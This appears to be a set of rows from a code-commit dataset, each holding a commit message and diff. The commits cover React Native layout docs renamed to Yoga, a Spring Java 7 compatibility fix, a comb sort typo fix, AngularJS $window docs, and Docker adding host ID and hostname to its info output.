<add> * https://github.com/facebook/yoga
<ide> *
<del> * The implementation in css-layout is slightly different from what the
<add> * The implementation in Yoga is slightly different from what the
<ide> * Flexbox spec defines - for example, we chose more sensible default
<ide> * values. Since our layout docs are generated from the comments in this
<ide> * file, please keep a brief comment describing each prop type.
<ide> var LayoutPropTypes = {
<ide> * that is not its parent, just don't use styles for that. Use the
<ide> * component tree.
<ide> *
<del> * See https://github.com/facebook/css-layout
<add> * See https://github.com/facebook/yoga
<ide> * for more details on how `position` differs between React Native
<ide> * and CSS.
<ide> */
<ide> var LayoutPropTypes = {
<ide>
<ide> /** In React Native `flex` does not work the same way that it does in CSS.
<ide> * `flex` is a number rather than a string, and it works
<del> * according to the `css-layout` library
<del> * at https://github.com/facebook/css-layout.
<add> * according to the `Yoga` library
<add> * at https://github.com/facebook/yoga
<ide> *
<ide> * When `flex` is a positive number, it makes the component flexible
<ide> * and it will be sized proportional to its flex value. So a | 1 |
Java | Java | avoid java8 api | e3bb06c8783ca45633ee361bb637cc3236471479 | <ide><path>spring-context/src/main/java/org/springframework/context/event/ApplicationListenerMethodAdapter.java
<ide> protected Object[] resolveArguments(ApplicationEvent event) {
<ide> if (declaredEventType == null) {
<ide> return null;
<ide> }
<del> if (this.method.getParameters().length == 0) {
<add> if (this.method.getParameterTypes().length == 0) {
<ide> return new Object[0];
<ide> }
<ide> if (!ApplicationEvent.class.isAssignableFrom(declaredEventType.getRawClass()) | 1 |
Python | Python | fix typo and indentation | f4a80fbfcb1c3da56955b70223ef1e268edf1cbf | <ide><path>sorts/comb_sort.py
<ide> Comb sort is a relatively simple sorting algorithm originally designed by Wlodzimierz Dobosiewicz in 1980.
<ide> Later it was rediscovered by Stephen Lacey and Richard Box in 1991. Comb sort improves on bubble sort.
<ide>
<del>This is pure python implementation of counting sort algorithm
<add>This is pure python implementation of comb sort algorithm
<ide> For doctests run following command:
<ide> python -m doctest -v comb_sort.py
<ide> or
<ide> def comb_sort(data):
<ide> i = 0
<ide>
<ide> while gap > 1 or swapped:
<del> # Update the gap value for a next comb
<add> # Update the gap value for a next comb
<ide> gap = int(float(gap) / shrink_factor)
<ide>
<ide> swapped = False
<ide> i = 0
<ide>
<ide> while gap + i < len(data):
<ide> if data[i] > data[i+gap]:
<del> # Swap values
<add> # Swap values
<ide> data[i], data[i+gap] = data[i+gap], data[i]
<ide> swapped = True
<ide> i += 1 | 1 |
Javascript | Javascript | fix docs for $window service | c4497d60bca23bd5d9176b3d09819d9e16d22862 | <ide><path>src/services.js
<ide> function angularServiceInject(name, fn, inject, eager) {
<ide> * @name angular.service.$window
<ide> *
<ide> * @description
<del> * Is reference to the browser's <b>window</b> object. While <b>window</b>
<add> * Is reference to the browser's `window` object. While `window`
<ide> * is globally available in JavaScript, it causes testability problems, because
<del> * it is a global variable. In <b><angular/></b> we always refer to it through the
<del> * $window service, so it may be overriden, removed or mocked for testing.
<add> * it is a global variable. In angular we always refer to it through the
<add> * `$window` service, so it may be overriden, removed or mocked for testing.
<ide> *
<ide> * All expressions are evaluated with respect to current scope so they don't
<ide> * suffer from window globality.
<ide> *
<ide> * @example
<del> <input ng:init="greeting='Hello World!'" type="text" name="greeting" />
<add> <input ng:init="$window = $service('$window'); greeting='Hello World!'" type="text" name="greeting" />
<ide> <button ng:click="$window.alert(greeting)">ALERT</button>
<ide> */
<ide> angularServiceInject("$window", bind(window, identity, window), [], EAGER); | 1 |
Go | Go | add id and hostname in docker info | 9a85f60c75f2017b14ed5e7f2bae5dc4961cb74c | <ide><path>api/client/commands.go
<ide> func (cli *DockerCli) CmdInfo(args ...string) error {
<ide> if remoteInfo.Exists("MemTotal") {
<ide> fmt.Fprintf(cli.out, "Total Memory: %s\n", units.BytesSize(float64(remoteInfo.GetInt64("MemTotal"))))
<ide> }
<add> if remoteInfo.Exists("Hostname") {
<add> fmt.Fprintf(cli.out, "Hostname: %s\n", remoteInfo.Get("Hostname"))
<add> }
<add> if remoteInfo.Exists("ID") {
<add> fmt.Fprintf(cli.out, "ID: %s\n", remoteInfo.Get("ID"))
<add> }
<ide>
<ide> if remoteInfo.GetBool("Debug") || os.Getenv("DEBUG") != "" {
<ide> if remoteInfo.Exists("Debug") {
<ide><path>api/common.go
<ide> package api
<ide> import (
<ide> "fmt"
<ide> "mime"
<add> "os"
<add> "path"
<ide> "strings"
<ide>
<ide> log "github.com/Sirupsen/logrus"
<ide> "github.com/docker/docker/engine"
<ide> "github.com/docker/docker/pkg/parsers"
<ide> "github.com/docker/docker/pkg/version"
<add> "github.com/docker/docker/vendor/src/github.com/docker/libtrust"
<ide> )
<ide>
<ide> const (
<ide> func MatchesContentType(contentType, expectedType string) bool {
<ide> }
<ide> return err == nil && mimetype == expectedType
<ide> }
<add>
<add>// LoadOrCreateTrustKey attempts to load the libtrust key at the given path,
<add>// otherwise generates a new one
<add>func LoadOrCreateTrustKey(trustKeyPath string) (libtrust.PrivateKey, error) {
<add> err := os.MkdirAll(path.Dir(trustKeyPath), 0700)
<add> if err != nil {
<add> return nil, err
<add> }
<add> trustKey, err := libtrust.LoadKeyFile(trustKeyPath)
<add> if err == libtrust.ErrKeyFileDoesNotExist {
<add> trustKey, err = libtrust.GenerateECP256PrivateKey()
<add> if err != nil {
<add> return nil, fmt.Errorf("Error generating key: %s", err)
<add> }
<add> if err := libtrust.SaveKey(trustKeyPath, trustKey); err != nil {
<add> return nil, fmt.Errorf("Error saving key file: %s", err)
<add> }
<add> } else if err != nil {
<add> log.Fatalf("Error loading key file: %s", err)
<add> }
<add> return trustKey, nil
<add>}
<ide><path>daemon/config.go
<ide> type Config struct {
<ide> DisableNetwork bool
<ide> EnableSelinuxSupport bool
<ide> Context map[string][]string
<add> TrustKeyPath string
<ide> }
<ide>
<ide> // InstallFlags adds command-line options to the top-level flag parser for
<ide><path>daemon/daemon.go
<ide> import (
<ide> "github.com/docker/libcontainer/label"
<ide>
<ide> log "github.com/Sirupsen/logrus"
<add> "github.com/docker/docker/api"
<ide> "github.com/docker/docker/daemon/execdriver"
<ide> "github.com/docker/docker/daemon/execdriver/execdrivers"
<ide> "github.com/docker/docker/daemon/execdriver/lxc"
<ide> func (c *contStore) List() []*Container {
<ide> }
<ide>
<ide> type Daemon struct {
<add> ID string
<ide> repository string
<ide> sysInitPath string
<ide> containers *contStore
<ide> func NewDaemonFromDirectory(config *Config, eng *engine.Engine) (*Daemon, error)
<ide> return nil, err
<ide> }
<ide>
<add> trustKey, err := api.LoadOrCreateTrustKey(config.TrustKeyPath)
<add> if err != nil {
<add> return nil, err
<add> }
<add>
<ide> daemon := &Daemon{
<add> ID: trustKey.PublicKey().KeyID(),
<ide> repository: daemonRepo,
<ide> containers: &contStore{s: make(map[string]*Container)},
<ide> execCommands: newExecStore(),
<ide><path>daemon/info.go
<ide> func (daemon *Daemon) CmdInfo(job *engine.Job) engine.Status {
<ide> return job.Error(err)
<ide> }
<ide> v := &engine.Env{}
<add> v.Set("ID", daemon.ID)
<ide> v.SetInt("Containers", len(daemon.List()))
<ide> v.SetInt("Images", imgcount)
<ide> v.Set("Driver", daemon.GraphDriver().String())
<ide> func (daemon *Daemon) CmdInfo(job *engine.Job) engine.Status {
<ide> v.Set("InitPath", initPath)
<ide> v.SetInt("NCPU", runtime.NumCPU())
<ide> v.SetInt64("MemTotal", meminfo.MemTotal)
<add> if hostname, err := os.Hostname(); err == nil {
<add> v.Set("Hostname", hostname)
<add> }
<ide> if _, err := v.WriteTo(job.Stdout); err != nil {
<ide> return job.Error(err)
<ide> }
<ide><path>docker/daemon.go
<ide> func mainDaemon() {
<ide> eng := engine.New()
<ide> signal.Trap(eng.Shutdown)
<ide>
<add> daemonCfg.TrustKeyPath = *flTrustKey
<add>
<ide> // Load builtins
<ide> if err := builtins.Register(eng); err != nil {
<ide> log.Fatal(err) | 6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.